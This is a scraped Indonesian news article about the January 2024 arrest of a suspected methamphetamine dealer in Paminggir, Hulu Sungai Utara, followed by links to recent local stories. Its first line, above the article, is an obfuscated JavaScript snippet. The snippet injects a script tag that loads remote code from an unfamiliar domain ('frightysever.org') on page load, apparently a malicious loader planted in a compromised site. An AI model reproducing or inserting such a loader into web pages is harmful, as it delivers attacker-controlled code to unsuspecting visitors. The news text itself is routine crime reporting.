(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Pengedar Sabu di Paminggir Ditangkap, Kedapatan Simpan 75 Paket Sabu


 

KANALKALIMANTAN.COM, AMUNTAI – Satresnarkoba Polres Hulu Sungai Utara (HSU) menangkal seorang laki-laki berinisial RA (45) warga Desa Paminggir RT 02 RW 01 Kecamatan Paminggir Kabupaten HSU karena menyimpan 75 paket sabu.

Puluhan paket sabu dengan berat bersih mencapai 31,15 gram tersebut berhasil diungkap anggota Satresnarkoba Polres HSU dalam operasi yang dilakukan pada Kamis (18/1/2024) dari kediaman tersangka RA.

Saat dilakukan penggeledahan rumah RA yang disaksikan oleh ketua RT setempat, anggota juga mendapati barang bukti sebuah kotak pink berisikan dua bungkus plastik klip transparan, selembar slip transfer, satu timbangan digital serta sebuah dompet hitam berisikan uang tunai Rp8.140.000.

Baca juga: BNPB: Banjir Terjadi di 1 Kota dan 5 Kabupaten di Kalteng

Kapolres HSU Meilki Bharata melalui Kasat Narkoba Polres HSU AKP Sutargo membenarkan pengungkapan kasus narkoba ini berkat kerjasama dan informasi yang diberikan masyarakat.

“Tersangka RA ini diperoleh informasi dari masyarakat setempat dan tokoh-tokoh di sana yang sudah lama jual sabu, pelaku juga mengakui sudah 3 tahun lebih jual sabu,” jelas AKP Sutargo kepada Kanalkalimantan.com, Minggu (20/1/2024).

Menurut AKP Sutargo, tersangka RA berbisnis barang haram tersebut dengan harga yang ditawarkan bervariasi kepada para pembeli.

Baca juga: Target Partai di Kalsel Prabowo-Gibran Satu Putaran

“Kalau statusnya dia sebagai pengedar karena stand by saja di rumah, siapkan barang-barangnya dari harga Rp100 ribu sampai Rp700 ribu, tersedia banyak dan para pelanggan yang datang ke rumahnya. Untuk pembeli ada warga, karyawan kebun sawit, pendatang yang singgah maupun melintasi Paminggir,” bebernya.

Ditanya asal muasal barang haram tersebut, pengakuan tersangka AR barang itu berasal dari Banjarmasin dan diambil sendiri oleh tersangka melalui jalur sungai.

“Dari pengakuan RA barang dari Banjarmasin, dibawa melalui sungai, ambil sendiri ini yang masih kami dalami,” imbuhnya.

Baca juga: Keluhan Warga Bikin SIM Harus ke Km 21 Liang Anggang, Ini Tanggapan Kapolresta Banjarmasin

Sementara atas kejadian tersebut saat ini tersangka RA dan barang bukti ditahan di Polres HSU guna proses penyidikan lebih lanjut.

Atas perbuatannya, tersangka RA juga dapat dijerat pasal 114 ayat 2 dan atau pasal 112 ayat 2 UU RI No.35 Tahun 2009 Tentang Narkotika ancaman hukuman 5 sampai 20 tahun penjara. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Muhammad Andi

Recent Posts

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

3 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

5 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

6 jam ago

Sekda Banjar Wakili Bupati di Rapat Paripurna Bahas Raperda Tentang Penanaman Modal

KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More

8 jam ago

Antisipasi Bencana, Ini Pesan Gubenur Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More

8 jam ago

Siap Tarung di Pilkada Kapuas, Mantan Wagub Kalteng Habib Ismail Lamar Nasdem

KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More

9 jam ago

This website uses cookies.